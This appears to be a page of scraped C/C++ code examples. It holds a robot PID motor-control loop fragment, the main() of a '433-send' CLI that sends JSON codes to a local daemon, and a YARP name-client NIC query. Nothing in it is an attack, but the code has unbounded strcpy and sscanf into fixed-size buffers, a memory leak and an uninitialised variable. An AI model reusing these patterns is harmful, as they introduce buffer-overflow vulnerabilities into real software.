        now_ms = (now.tv_sec * 1000 + (now.tv_nsec + 500000) / 1000000); //convert to milliseconds
        delta_ms = now_ms - prev_ms;
        set_motor(1, v_left);
        set_motor(2, v_right);
    }

    while (method == 3) {

        Pconstant = 0.6;
        int error;
        Perror_mid = error;
        speed = 40;
        Dconstant = 0.35;

        // Loop here:
        sensor_left = read_analog(0);
        sensor_mid = read_analog(1);
        sensor_right = read_analog(2);
        error = sensor_right - sensor_left;

        proportional = error * Pconstant;
        proportional = ((proportional / 770) * 100);
        derivative = ((error - Perror_mid) / 0.1) * Dconstant;

        if (sensor_mid > 470) {
            set_motor(1, -speed);
            set_motor(2, speed);
            Sleep(0, 350000);
        }
        set_motor(2, speed - proportional);
        set_motor(1, speed + proportional);
    }
}
示例#29
0
int main(int argc, char **argv) {

	disable_file_log();
	enable_shell_log();
	set_loglevel(LOG_NOTICE);

	progname = malloc((10*sizeof(char))+1);
	progname = strdup("433-send");

	options = malloc(255*sizeof(struct options_t));

	int sockfd = 0;
    char *recvBuff = NULL;
    char *message;
	steps_t steps = WELCOME;

	/* Hold the name of the protocol */
	char protobuffer[25] = "\0";
	int i;
	/* Does this protocol exists */
	int match = 0;

	/* Do we need to print the help */
	int help = 0;
	/* Do we need to print the version */
	int version = 0;
	/* Do we need to print the protocol help */
	int protohelp = 0;

	char server[16] = "127.0.0.1";
	unsigned short port = PORT;
	
	/* Hold the final protocol struct */
	protocol_t *protocol = NULL;

	JsonNode *json = json_mkobject();
	JsonNode *code = json_mkobject();

	/* Define all CLI arguments of this program */
	addOption(&options, 'H', "help", no_value, 0, NULL);
	addOption(&options, 'V', "version", no_value, 0, NULL);
	addOption(&options, 'p', "protocol", has_value, 0, NULL);
	addOption(&options, 'S', "server", has_value, 0, "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$");
	addOption(&options, 'P', "port", has_value, 0, "[0-9]{1,4}");

	/* Initialize peripheral modules */
	hw_init();

	/* Get the protocol to be used */
	while (1) {
		int c;
		c = getOptions(&options, argc, argv, 0);
		if (c == -1)
			break;
		switch(c) {
			case 'p':
				if(strlen(optarg) == 0) {
					logprintf(LOG_ERR, "options '-p' and '--protocol' require an argument");
					exit(EXIT_FAILURE);
				} else {
					strcpy(protobuffer, optarg);
				}
			break;
			case 'V':
				version = 1;
			break;
			case 'H':
				help = 1;
			break;
			case 'S':
				strcpy(server, optarg);
			break;
			case 'P':
				port = (unsigned short)atoi(optarg);
			break;
			default:;
		}
	}

	/* Check if a protocol was given */
	if(strlen(protobuffer) > 0 && strcmp(protobuffer,"-v") != 0) {
		if(strlen(protobuffer) > 0 && version) {
			printf("-p and -V cannot be combined\n");
		} else {
			for(i=0; i<protocols.nr; ++i) {
				protocol = protocols.listeners[i];
				/* Check if the protocol exists */
				if(protocol_has_device(&protocol, protobuffer) == 0 && match == 0 && protocol->createCode != NULL) {
					match=1;
					/* Check if the protocol requires specific CLI arguments
					   and merge them with the main CLI arguments */
					if(protocol->options != NULL && help == 0) {
						mergeOptions(&options, &protocol->options);
					} else if(help == 1) {
						protohelp=1;
					}
					break;
				}
			}
			/* If no protocols matches the requested protocol */
			if(!match) {
				logprintf(LOG_ERR, "this protocol is not supported");
			}
		}
	}

	/* Display help or version information */
	if(version == 1) {
		printf("%s %s\n", progname, "1.0");
		return (EXIT_SUCCESS);
	} else if(help == 1 || protohelp == 1 || match == 0) {
		if(protohelp == 1 && match == 1 && protocol->printHelp != NULL)
			printf("Usage: %s -p %s [options]\n", progname, protobuffer);
		else
			printf("Usage: %s -p protocol [options]\n", progname);
		if(help == 1) {
			printf("\t -H --help\t\t\tdisplay this message\n");
			printf("\t -V --version\t\t\tdisplay version\n");
			printf("\t -S --server=%s\t\tconnect to server address\n", server);
			printf("\t -P --port=%d\t\t\tconnect to server port\n", port);
			printf("\t -p --protocol=protocol\t\tthe protocol that you want to control\n");
		}
		if(protohelp == 1 && match == 1 && protocol->printHelp != NULL) {
			printf("\n\t[%s]\n", protobuffer);
			protocol->printHelp();
		} else {
			printf("\nThe supported protocols are:\n");
			for(i=0; i<protocols.nr; ++i) {
				protocol = protocols.listeners[i];
				if(protocol->createCode != NULL) {
					while(protocol->devices != NULL) {
						printf("\t %s\t\t\t",protocol->devices->id);
						if(strlen(protocol->devices->id)<6)
							printf("\t");
						printf("%s\n", protocol->devices->desc);
						protocol->devices = protocol->devices->next;
					}
				}
			}
		}
		return (EXIT_SUCCESS);
	}

	/* Store all CLI arguments for later usage
	   and also check if the CLI arguments where
	   used correctly by the user. This will also
	   fill all necessary values in the options struct */
	while(1) {
		int c;
		c = getOptions(&options, argc, argv, 1);

		if(c == -1)
			break;
	}

	int itmp;
	/* Check if we got sufficient arguments from this protocol */
	while(options != NULL && strlen(options->name) > 0) {
		/* Only send the CLI arguments that belong to this protocol, the protocol name
		   and those that are called by the user */
		if((getOptionIdByName(&protocol->options, options->name, &itmp) == 0 || strcmp(options->name, "protocol") == 0)
		   && strlen(options->value) > 0) {
			json_append_member(code, options->name, json_mkstring(options->value));
		}
		options = options->next;
	}

	if(protocol->createCode(code) == 0) {
		if((sockfd = connect_to_server(strdup(server), port)) == -1) {
			logprintf(LOG_ERR, "could not connect to 433-daemon");
			goto close;
		}

		while(1) {
			/* Clear the receive buffer again and read the welcome message */
			if((recvBuff = socket_read(sockfd)) != NULL) {
				json = json_decode(recvBuff);
				json_find_string(json, "message", &message);
			} else {
				goto close;
			}
			usleep(100);
			switch(steps) {
				case WELCOME:
					if(strcmp(message, "accept connection") == 0) {
						socket_write(sockfd, "{\"message\":\"client sender\"}");
						steps=IDENTIFY;
					}
				case IDENTIFY:
					if(strcmp(message, "accept client") == 0) {
						steps=SEND;
					}
					if(strcmp(message, "reject client") == 0) {
						steps=REJECT;
					}
				case SEND:
					json_delete(json);
					json = json_mkobject();
					json_append_member(json, "message", json_mkstring("send"));
					json_append_member(json, "code", code);
					socket_write(sockfd, json_stringify(json, NULL));
					goto close;
				break;
				case REJECT:
				default:
					goto close;
				break;
			}
		}
	}
close:
	json_delete(json);
	socket_close(sockfd);
return EXIT_SUCCESS;
}
示例#30
0
int YARPNameClient::_query_nic(const YARPNSNic &in, YARPString &outNic, YARPString &outIp)
{
  YNC("YNC %s:%d --> _query_nic\n",__FILE__,__LINE__);
  ACE_DEBUG((LM_DEBUG,"Oi! Nic!\n"));
  if (alt_client.isActive()) {
    YNC("alternate client is active, so just pretending\n");
    outNic = "default";
    outIp = in._ip;
    return YARP_OK;
  }
	YARPString reply;
	YARPNameServiceCmd tmpCmd;
	if (connect_to_server()!=0)
		return YARP_FAIL;
	
	tmpCmd.cmd = YARPNSNicQuery;
	tmpCmd.length = sizeof(YARPNSNic);

	// send message length
	ACE_OS::memcpy(data_buf_,&tmpCmd, sizeof(YARPNameServiceCmd));
	ACE_OS::memcpy(data_buf_+sizeof(YARPNameServiceCmd), &in, tmpCmd.length);

	iovec iov[1];
	iov[0].iov_base = data_buf_;
	iov[0].iov_len = sizeof(YARPNameServiceCmd)+tmpCmd.length;

	int sent = client_stream_.sendv_n (iov, 1);

	if (sent == -1)
		ACE_ERROR_RETURN ((LM_ERROR, "(%P|%t) %p\n","send_n"),0);

	//////////////////////////////////////////
			
	_handle_reply(reply);

	char tmp1[255];
	char tmp2[255];
	sscanf(reply.c_str(), "%s\n%s", tmp1, tmp2);
	outNic = YARPString(tmp1);
	outIp = YARPString(tmp2);

	ACE_DEBUG((LM_DEBUG,"Oi! Nic! got %s // %s\n", outNic.c_str(), outIp.c_str()));

	// YARP2 support being added here
	{
	  const char *diagnostic = outNic.c_str();
	  if (diagnostic!=NULL) {
	    if (diagnostic[0]=='?') {
	      ACE_DEBUG((LM_DEBUG,"Hmm, looks like a YARP2 name server\n"));
	      ACE_DEBUG((LM_DEBUG,"Fake results for now\n"));
	      outNic = "default";
	      outIp = in._ip;
	      alt_client.activate(remote_addr_);
	    }
	  }
	}

	// close the connection
	close();

	return YARP_OK;
}